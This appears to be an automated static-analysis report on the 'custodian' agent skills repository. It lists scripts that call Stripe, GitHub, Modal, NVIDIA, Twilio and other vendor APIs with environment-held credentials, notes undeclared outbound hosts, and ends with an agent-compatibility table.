custodian/bundled_skills/github/github-repo-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 17
BASE_URL = "https://api.github.com" - Access to secretsline 26
[Credential-related source omitted] - Network accessline 42
else: url = f"{BASE_URL}/user/repos" resp = requests.get( - Network accessline 43
url = f"{BASE_URL}/user/repos" resp = requests.get( url, - Network accessline 44
resp = requests.get(
custodian/bundled_skills/memory/kv-delete/scripts/execute.py
custodian/bundled_skills/memory/kv-get/scripts/execute.py
custodian/bundled_skills/memory/kv-list/scripts/execute.py
custodian/bundled_skills/memory/kv-set/scripts/execute.py
custodian/bundled_skills/memory/sqlite-query/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/modal/modal-deploy/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 17
raise RuntimeError(f"No modal.App object found in {app_file}") app_obj.deploy(app_name or app_obj.name) url = f"https://{(app_name or app_obj.name) or 'app'}.modal.run" - Network accessline 18
app_obj.deploy(app_name or app_obj.name) url = f"https://{(app_name or app_obj.name) or 'app'}.modal.run" return (app_name or app_obj.name), url - Network accessline 19
url = f"https://{(app_name or app_obj.name) or 'app'}.modal.run" - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 30
url = None for line in r.stdout.splitlines(): m = re.search(r'https://[\w.-]+\.modal\.run', line) - Network accessline 31
for line in r.stdout.splitlines(): m = re.search(r'https://[\w.-]+\.modal\.run', line) if m: - Network accessline 32
m = re.search(r'https://[\w.-]+\.modal\.run', line) - Network accessline 38
if not name: name = app_name or os.path.splitext(os.path.basename(app_file))[0] return name, url or f"https://{name}.modal.run" - Network accessline 40
return name, url or f"https://{name}.modal.run" - Access to secretsline 48
[Credential-related source omitted]
custodian/bundled_skills/modal/modal-function-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 11
import requests tid, tsec = os.environ["MODAL_TOKEN_ID"], os.environ["MODAL_TOKEN_SECRET"] r = requests.get("https://api.modal.com/v1/apps", - Network accessline 12
[Credential-related source omitted] - Access to secretsline 12
[Credential-related source omitted] - Network accessline 13
r = requests.get("https://api.modal.com/v1/apps", - Access to secretsline 22
[Credential-related source omitted]
custodian/bundled_skills/modal/modal-invoke/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 18
def _use_rest(tid, tsec, app_name, func_name, payload): import requests base = "https://api.modal.com/v1" - Network accessline 19
[Credential-related source omitted] - Network accessline 20
base = "https://api.modal.com/v1" - Network accessline 24
r = requests.get(f"{base}/apps", headers=hdr, timeout=15) - Network accessline 33
call_id = None for app_id in app_ids: fr = requests.get(f"{base}/apps/{app_id}/functions", headers=hdr, timeout=15) - Network accessline 34
for app_id in app_ids: fr = requests.get(f"{base}/apps/{app_id}/functions", headers=hdr, timeout=15) if fr.ok: - Network accessline 35
fr = requests.get(f"{base}/apps/{app_id}/functions", headers=hdr, timeout=15) - Network accessline 47
else: body["args"] = [payload] cr = requests.post(f"{base}/function/{fn_id}/call", headers=hdr, - Network accessline 48
body["args"] = [payload] cr = requests.post(f"{base}/function/{fn_id}/call", headers=hdr, json=body, timeout=60) - Network accessline 49
cr = requests.post(f"{base}/function/{fn_id}/call", headers=hdr, - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted]
custodian/bundled_skills/monitoring/dns-lookup/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/monitoring/http-health-check/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 7
try: t0 = time.monotonic() req = urllib.request.Request(a.url, headers={"User-Agent": "custodian-health-check/1.0"}) - Network accessline 8
t0 = time.monotonic() req = urllib.request.Request(a.url, headers={"User-Agent": "custodian-health-check/1.0"}) with urllib.request.urlopen(req, timeout=a.timeout) as resp: - Network accessline 9
req = urllib.request.Request(a.url, headers={"User-Agent": "custodian-health-check/1.0"}) - Network accessline 10
with urllib.request.urlopen(req, timeout=a.timeout) as resp:
custodian/bundled_skills/monitoring/ip-geolocation/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 5
a = p.parse_args() try: with urllib.request.urlopen(f"https://ipapi.co/{a.ip}/json/", timeout=10) as r: - Network accessline 6
try: with urllib.request.urlopen(f"https://ipapi.co/{a.ip}/json/", timeout=10) as r: d = json.loads(r.read()) - Network accessline 7
with urllib.request.urlopen(f"https://ipapi.co/{a.ip}/json/", timeout=10) as r:
custodian/bundled_skills/monitoring/ping-host/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/monitoring/port-scan/scripts/execute.py
custodian/bundled_skills/monitoring/ssl-cert-check/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 8
try: ctx = ssl.create_default_context() with ctx.wrap_socket(socket.socket(), server_hostname=a.host) as s: - Network accessline 9
ctx = ssl.create_default_context() with ctx.wrap_socket(socket.socket(), server_hostname=a.host) as s: s.settimeout(10) - Network accessline 10
with ctx.wrap_socket(socket.socket(), server_hostname=a.host) as s:
custodian/bundled_skills/monitoring/whois-lookup/scripts/execute.py
custodian/bundled_skills/nvidia/huggingface-infer/scripts/execute.py
custodian/bundled_skills/nvidia/nim-job-status/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 4
Checks the status of an NVIDIA NIM inference job by GETting https://integrate.api.nvidia.com/v1/jobs/{job_id} with a bearer token. - Network accessline 5
https://integrate.api.nvidia.com/v1/jobs/{job_id} with a bearer token. - Access to secretsline 7
[Credential-related source omitted] - Network accessline 19
BASE_URL = "https://integrate.api.nvidia.com/v1" - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Network accessline 54
try: resp = requests.get(url, headers=headers, timeout=30) - Network accessline 55
resp = requests.get(url, headers=headers, timeout=30)
custodian/bundled_skills/nvidia/nim-job-submit/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 9
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
r = requests.post("https://integrate.api.nvidia.com/v1/chat/completions",
custodian/bundled_skills/nvidia/nim-model-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 3
[Credential-related source omitted] - Access to secretsline 5
[Credential-related source omitted] - Network accessline 6
[Credential-related source omitted] - Network accessline 7
[Credential-related source omitted] - Network accessline 8
[Credential-related source omitted]
custodian/bundled_skills/nvidia/openai-complete/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 5
[Credential-related source omitted] - Network accessline 18
BASE_URL = "https://api.openai.com/v1/chat/completions" - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Network accessline 70
try: resp = requests.post( - Network accessline 71
resp = requests.post(
custodian/bundled_skills/payments/stripe-spend/scripts/_core.py
- Executable scriptline 1
Executable file - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Network accessline 153
for attempt in (1, 2): try: r = requests.post( - Network accessline 154
try: r = requests.post( "https://api.stripe.com/v1/payment_intents", - Network accessline 155
r = requests.post( - Network accessline 156
"https://api.stripe.com/v1/payment_intents", - Network accessline 273
key = stripe_key() cents = int(round(amount_dollars * 100)) r = requests.post( - Network accessline 274
cents = int(round(amount_dollars * 100)) r = requests.post( 'https://api.stripe.com/v1/refunds', - Network accessline 275
r = requests.post( - Network accessline 276
'https://api.stripe.com/v1/refunds',
custodian/bundled_skills/payments/stripe-spend/scripts/approve.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/approve_v2.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/authority.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/earn.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/execute.py
custodian/bundled_skills/payments/stripe-spend/scripts/kill_toggle.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/notify.py
- Executable scriptline 1
Executable file - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Network accessline 136
f"Expires in 10 min. Enter this in the operator panel." ) r = requests.post( - Network accessline 137
) r = requests.post( f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json", - Network accessline 138
r = requests.post( - Network accessline 139
f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json",
custodian/bundled_skills/payments/stripe-spend/scripts/recipes/__init__.py
- Executable scriptline 1
Executable file
custodian/bundled_skills/payments/stripe-spend/scripts/recipes/status_alert.py
- Executable scriptline 1
Executable file - Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 37
r = requests.post( - Network accessline 38
f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json",
custodian/bundled_skills/payments/stripe-spend/scripts/refund.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/spend.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/payments/stripe-spend/scripts/spend_v2.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/scheduling/cron-create/scripts/execute.py
custodian/bundled_skills/scheduling/cron-delete/scripts/execute.py
custodian/bundled_skills/scheduling/cron-list/scripts/execute.py
custodian/bundled_skills/scheduling/task-queue-add/scripts/execute.py
custodian/bundled_skills/scheduling/task-queue-list/scripts/execute.py
custodian/bundled_skills/security/hmac-verify/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/security/jwt-decode/scripts/execute.py
custodian/bundled_skills/security/paladin-import/SKILL.md
custodian/bundled_skills/security/paladin-import/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/security/secrets-scan/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/stripe/stripe-balance/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 3
[Credential-related source omitted] - Network accessline 6
else: try: r = requests.get("https://api.stripe.com/v1/balance", auth=(key,""), timeout=10) - Network accessline 7
try: r = requests.get("https://api.stripe.com/v1/balance", auth=(key,""), timeout=10) d = r.json() - Network accessline 8
r = requests.get("https://api.stripe.com/v1/balance", auth=(key,""), timeout=10)
custodian/bundled_skills/stripe/stripe-charge-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 11
params = {"limit": str(a.limit)} if a.customer: params["customer"] = a.customer url = "https://api.stripe.com/v1/charges?" + urllib.parse.urlencode(params) - Network accessline 12
[Credential-related source omitted] - Network accessline 13
url = "https://api.stripe.com/v1/charges?" + urllib.parse.urlencode(params) - Network accessline 14
[Credential-related source omitted] - Network accessline 15
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/stripe/stripe-customer-create/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Network accessline 14
if a.description: data["description"] = a.description body = urllib.parse.urlencode(data).encode() req = urllib.request.Request("https://api.stripe.com/v1/customers", data=body, - Network accessline 15
[Credential-related source omitted] - Network accessline 16
req = urllib.request.Request("https://api.stripe.com/v1/customers", data=body, - Network accessline 17
[Credential-related source omitted] - Network accessline 18
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/stripe/stripe-customer-lookup/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 9
try: if a.id: r = requests.get(f"https://api.stripe.com/v1/customers/{a.id}", auth=(key,""), timeout=10) - Network accessline 10
if a.id: r = requests.get(f"https://api.stripe.com/v1/customers/{a.id}", auth=(key,""), timeout=10) else: - Network accessline 11
r = requests.get(f"https://api.stripe.com/v1/customers/{a.id}", auth=(key,""), timeout=10) - Network accessline 12
else: r = requests.get("https://api.stripe.com/v1/customers", auth=(key,""), params={"email":a.email,"limit":1}, timeout=10) d = r.json() - Network accessline 13
r = requests.get("https://api.stripe.com/v1/customers", auth=(key,""), params={"email":a.email,"limit":1}, timeout=10)
custodian/bundled_skills/stripe/stripe-invoice-send/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Network accessline 10
print(json.dumps({"ok": False, "stub": True, "tool": "stripe-invoice-send", "message": "Set STRIPE_SECRET_KEY"})); return try: r = requests.post(f"https://api.stripe.com/v1/invoices/{a.invoice_id}/send", - Network accessline 11
try: r = requests.post(f"https://api.stripe.com/v1/invoices/{a.invoice_id}/send", auth=(key, ""), timeout=15) - Network accessline 12
r = requests.post(f"https://api.stripe.com/v1/invoices/{a.invoice_id}/send",
custodian/bundled_skills/stripe/stripe-payout/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 10
[Credential-related source omitted] - Network accessline 15
if a.description: payload["description"] = a.description r = requests.post("https://api.stripe.com/v1/payouts", - Network accessline 16
payload["description"] = a.description r = requests.post("https://api.stripe.com/v1/payouts", auth=(key, ""), data=payload, timeout=15) - Network accessline 17
r = requests.post("https://api.stripe.com/v1/payouts",
custodian/bundled_skills/stripe/stripe-price-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 10
try: params = {"limit": str(a.limit), "active": a.active} url = "https://api.stripe.com/v1/prices?" + urllib.parse.urlencode(params) - Network accessline 11
[Credential-related source omitted] - Network accessline 12
url = "https://api.stripe.com/v1/prices?" + urllib.parse.urlencode(params) - Network accessline 13
[Credential-related source omitted] - Network accessline 14
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/stripe/stripe-refund-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 11
params = {"limit": str(a.limit)} if a.charge: params["charge"] = a.charge url = "https://api.stripe.com/v1/refunds?" + urllib.parse.urlencode(params) - Network accessline 12
[Credential-related source omitted] - Network accessline 13
url = "https://api.stripe.com/v1/refunds?" + urllib.parse.urlencode(params) - Network accessline 14
[Credential-related source omitted] - Network accessline 15
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/stripe/stripe-subscription-cancel/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 10
[Credential-related source omitted] - Network accessline 13
try: if a.at_period_end: r = requests.post(f"https://api.stripe.com/v1/subscriptions/{a.subscription_id}", - Network accessline 14
if a.at_period_end: r = requests.post(f"https://api.stripe.com/v1/subscriptions/{a.subscription_id}", auth=(key, ""), data={"cancel_at_period_end": "true"}, timeout=15) - Network accessline 15
r = requests.post(f"https://api.stripe.com/v1/subscriptions/{a.subscription_id}", - Network accessline 16
auth=(key, ""), data={"cancel_at_period_end": "true"}, timeout=15) else: r = requests.delete(f"https://api.stripe.com/v1/subscriptions/{a.subscription_id}", - Network accessline 17
else: r = requests.delete(f"https://api.stripe.com/v1/subscriptions/{a.subscription_id}", auth=(key, ""), timeout=15) - Network accessline 18
r = requests.delete(f"https://api.stripe.com/v1/subscriptions/{a.subscription_id}",
custodian/bundled_skills/stripe/stripe-subscription-create/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 10
[Credential-related source omitted] - Network accessline 15
if a.trial_days > 0: payload["trial_period_days"] = a.trial_days r = requests.post("https://api.stripe.com/v1/subscriptions", - Network accessline 16
payload["trial_period_days"] = a.trial_days r = requests.post("https://api.stripe.com/v1/subscriptions", auth=(key, ""), data=payload, timeout=15) - Network accessline 17
r = requests.post("https://api.stripe.com/v1/subscriptions",
custodian/bundled_skills/utilities/base64-decode/scripts/execute.py
custodian/bundled_skills/utilities/base64-encode/scripts/execute.py
custodian/bundled_skills/utilities/currency-convert/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 9
a = p.parse_args() try: r = requests.get(f"https://open.er-api.com/v6/latest/{a.from_c.upper()}", timeout=10) - Network accessline 10
try: r = requests.get(f"https://open.er-api.com/v6/latest/{a.from_c.upper()}", timeout=10) data = r.json() - Network accessline 11
r = requests.get(f"https://open.er-api.com/v6/latest/{a.from_c.upper()}", timeout=10)
custodian/bundled_skills/utilities/hash-sha256/scripts/execute.py
custodian/bundled_skills/utilities/json-transform/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/utilities/timezone-lookup/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/utilities/url-parse/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/web/http-get/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 41
for _ in range(5): r = requests.get(url, timeout=a.timeout, headers={"User-Agent":"custodian/1.0"}, allow_redirects=False) - Network accessline 42
r = requests.get(url, timeout=a.timeout, headers={"User-Agent":"custodian/1.0"}, allow_redirects=False)
custodian/bundled_skills/web/http-post/scripts/execute.py
custodian/bundled_skills/web/news-search/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 18
a = p.parse_args() try: r = requests.get("https://html.duckduckgo.com/html/", params={"q":a.query+" news"}, headers={"User-Agent":"Mozilla/5.0"}, timeout=12) - Network accessline 19
try: r = requests.get("https://html.duckduckgo.com/html/", params={"q":a.query+" news"}, headers={"User-Agent":"Mozilla/5.0"}, timeout=12) parser = DDGParser(); parser.feed(r.text) - Network accessline 20
r = requests.get("https://html.duckduckgo.com/html/", params={"q":a.query+" news"}, headers={"User-Agent":"Mozilla/5.0"}, timeout=12)
custodian/bundled_skills/web/web-scrape/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 44
_validate_url(url) for _ in range(5): r = requests.get(url, timeout=12, headers={"User-Agent":"Mozilla/5.0"}, allow_redirects=False) - Network accessline 45
for _ in range(5): r = requests.get(url, timeout=12, headers={"User-Agent":"Mozilla/5.0"}, allow_redirects=False) if r.is_redirect and r.headers.get("Location"): - Network accessline 46
r = requests.get(url, timeout=12, headers={"User-Agent":"Mozilla/5.0"}, allow_redirects=False)
custodian/bundled_skills/web/web-search/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 18
a = p.parse_args() try: r = requests.get("https://html.duckduckgo.com/html/", params={"q":a.query}, headers={"User-Agent":"Mozilla/5.0"}, timeout=12) - Network accessline 19
try: r = requests.get("https://html.duckduckgo.com/html/", params={"q":a.query}, headers={"User-Agent":"Mozilla/5.0"}, timeout=12) parser = DDGParser(); parser.feed(r.text) - Network accessline 20
r = requests.get("https://html.duckduckgo.com/html/", params={"q":a.query}, headers={"User-Agent":"Mozilla/5.0"}, timeout=12)
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 38 facts
- Contacts api.anthropic.com, which SKILL.md, the README and the plugin manifest do not mentionanthropic-chat/scripts/execute.py:12High confidence
- Contacts api.cohere.ai, which SKILL.md, the README and the plugin manifest do not mentioncohere-embed/scripts/execute.py:12High confidence
- Contacts api.openai.com, which SKILL.md, the README and the plugin manifest do not mentionopenai-chat/scripts/execute.py:13High confidence
- Contacts api.replicate.com, which SKILL.md, the README and the plugin manifest do not mentionreplicate-run/scripts/execute.py:13High confidence
- Contacts api.together.xyz, which SKILL.md, the README and the plugin manifest do not mentiontogether-infer/scripts/execute.py:12High confidence
- Contacts events.pagerduty.com, which SKILL.md, the README and the plugin manifest do not mentionpagerduty-alert/scripts/execute.py:14High confidence
- Contacts api.telegram.org, which SKILL.md, the README and the plugin manifest do not mentiontelegram-send/scripts/execute.py:11High confidence
- Contacts api.twilio.com, which SKILL.md, the README and the plugin manifest do not mentiontwilio-voice-call/scripts/execute.py:23High confidence
- Contacts www.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncalendar-create/scripts/execute.py:17High confidence
- Contacts www.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncalendar-delete/scripts/execute.py:11High confidence
- Contacts www.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncalendar-event-create/scripts/execute.py:19High confidence
- Contacts www.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncalendar-event-list/scripts/execute.py:20High confidence
- Contacts www.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncalendar-list/scripts/execute.py:13High confidence
- Contacts www.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentioncalendar-update/scripts/execute.py:18High confidence
- Contacts api.sendgrid.com, which SKILL.md, the README and the plugin manifest do not mentionemail-send/scripts/execute.py:13High confidence
- Contacts fcm.googleapis.com, which SKILL.md, the README and the plugin manifest do not mentionpush-notification/scripts/execute.py:12High confidence
- Contacts slack.com, which SKILL.md, the README and the plugin manifest do not mentionslack-channel-list/scripts/execute.py:11High confidence
- Contacts slack.com, which SKILL.md, the README and the plugin manifest do not mentionslack-message/scripts/execute.py:13High confidence
- Contacts api.twilio.com, which SKILL.md, the README and the plugin manifest do not mentionsms-send/scripts/execute.py:10High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-comment/scripts/execute.py:16High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-commit-list/scripts/execute.py:12High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-file-read/scripts/execute.py:10High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-issue-create/scripts/execute.py:16High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-issue-list/scripts/execute.py:17High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-pr-list/scripts/execute.py:16High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-release-create/scripts/execute.py:15High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-release-list/scripts/execute.py:11High confidence
- Contacts api.github.com, which SKILL.md, the README and the plugin manifest do not mentiongithub-repo-list/scripts/execute.py:17High confidence
- Contacts api.modal.com, which SKILL.md, the README and the plugin manifest do not mentionmodal-function-list/scripts/execute.py:13High confidence
- Contacts api.modal.com, which SKILL.md, the README and the plugin manifest do not mentionmodal-invoke/scripts/execute.py:20High confidence
- Contacts ipapi.co, which SKILL.md, the README and the plugin manifest do not mentionip-geolocation/scripts/execute.py:7High confidence
- Contacts api-inference.huggingface.co, which SKILL.md, the README and the plugin manifest do not mentionhuggingface-infer/scripts/execute.py:19High confidence
- Contacts integrate.api.nvidia.com, which SKILL.md, the README and the plugin manifest do not mentionnim-job-status/scripts/execute.py:19High confidence
- Contacts integrate.api.nvidia.com, which SKILL.md, the README and the plugin manifest do not mentionnim-job-submit/scripts/execute.py:13High confidence
- Contacts integrate.api.nvidia.com, which SKILL.md, the README and the plugin manifest do not mentionnim-model-list/scripts/execute.py:8High confidence
- Contacts api.openai.com, which SKILL.md, the README and the plugin manifest do not mentionopenai-complete/scripts/execute.py:18High confidence
- Contacts api.twilio.com, which SKILL.md, the README and the plugin manifest do not mentionstripe-spend/scripts/notify.py:139High confidence
- Contacts api.twilio.com, which SKILL.md, the README and the plugin manifest do not mentionstripe-spend/scripts/recipes/status_alert.py:38High confidence
Signal confidence: 462 facts
- Executable script in code of a file that runsanthropic-chat/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueanthropic-chat/scripts/execute.py:7Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueanthropic-chat/scripts/execute.py:9Low confidence
- Network access in code of a file that runsanthropic-chat/scripts/execute.py:10High confidence
- Network access in code of a file that runsanthropic-chat/scripts/execute.py:11High confidence
- Network access in code of a file that runsanthropic-chat/scripts/execute.py:12High confidence
- Network access in code of a file that runsanthropic-chat/scripts/execute.py:13High confidence
- Network access in code of a file that runsanthropic-chat/scripts/execute.py:14High confidence
- Executable script in code of a file that runscohere-embed/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecohere-embed/scripts/execute.py:7Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuecohere-embed/scripts/execute.py:9Low confidence
- Network access in code of a file that runscohere-embed/scripts/execute.py:10High confidence
- Network access in code of a file that runscohere-embed/scripts/execute.py:11High confidence
- Network access in code of a file that runscohere-embed/scripts/execute.py:12High confidence
- Network access in code of a file that runscohere-embed/scripts/execute.py:13High confidence
- Network access in code of a file that runscohere-embed/scripts/execute.py:14High confidence
- Executable script in code of a file that runsopenai-chat/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueopenai-chat/scripts/execute.py:8Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueopenai-chat/scripts/execute.py:10Low confidence
- Network access in code of a file that runsopenai-chat/scripts/execute.py:11High confidence
- Network access in code of a file that runsopenai-chat/scripts/execute.py:12High confidence
- Network access in code of a file that runsopenai-chat/scripts/execute.py:13High confidence
- Network access in code of a file that runsopenai-chat/scripts/execute.py:14High confidence
- Network access in code of a file that runsopenai-chat/scripts/execute.py:15High confidence
- Executable script in code of a file that runsreplicate-run/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuereplicate-run/scripts/execute.py:7Low confidence
- Network access in code of a file that runsreplicate-run/scripts/execute.py:11High confidence
- Network access in code of a file that runsreplicate-run/scripts/execute.py:12High confidence
- Network access in code of a file that runsreplicate-run/scripts/execute.py:13High confidence
- Network access in code of a file that runsreplicate-run/scripts/execute.py:14High confidence
- Network access in code of a file that runsreplicate-run/scripts/execute.py:15High confidence
- Executable script in code of a file that runstogether-infer/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuetogether-infer/scripts/execute.py:7Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuetogether-infer/scripts/execute.py:9Low confidence
- Network access in code of a file that runstogether-infer/scripts/execute.py:10High confidence
- Network access in code of a file that runstogether-infer/scripts/execute.py:11High confidence
- Network access in code of a file that runstogether-infer/scripts/execute.py:12High confidence
- Network access in code of a file that runstogether-infer/scripts/execute.py:13High confidence
- Network access in code of a file that runstogether-infer/scripts/execute.py:14High confidence
- Executable script in code of a file that runspagerduty-alert/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuepagerduty-alert/scripts/execute.py:8Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuepagerduty-alert/scripts/execute.py:10Low confidence
- Network access in code of a file that runspagerduty-alert/scripts/execute.py:12High confidence
- Network access in code of a file that runspagerduty-alert/scripts/execute.py:13High confidence
- Network access in code of a file that runspagerduty-alert/scripts/execute.py:14High confidence
- Network access in code of a file that runspagerduty-alert/scripts/execute.py:15High confidence
- Network access in code of a file that runspagerduty-alert/scripts/execute.py:16High confidence
- Executable script in code of a file that runstelegram-send/scripts/execute.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valuetelegram-send/scripts/execute.py:7Low confidence
- Network access in code of a file that runstelegram-send/scripts/execute.py:9High confidence
and 412 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md custodian/bundled_skills/ai/anthropic-chat/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md custodian/bundled_skills/ai/anthropic-chat/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md custodian/bundled_skills/ai/anthropic-chat/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md custodian/bundled_skills/ai/anthropic-chat/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md custodian/bundled_skills/ai/anthropic-chat/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md custodian/bundled_skills/ai/anthropic-chat/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.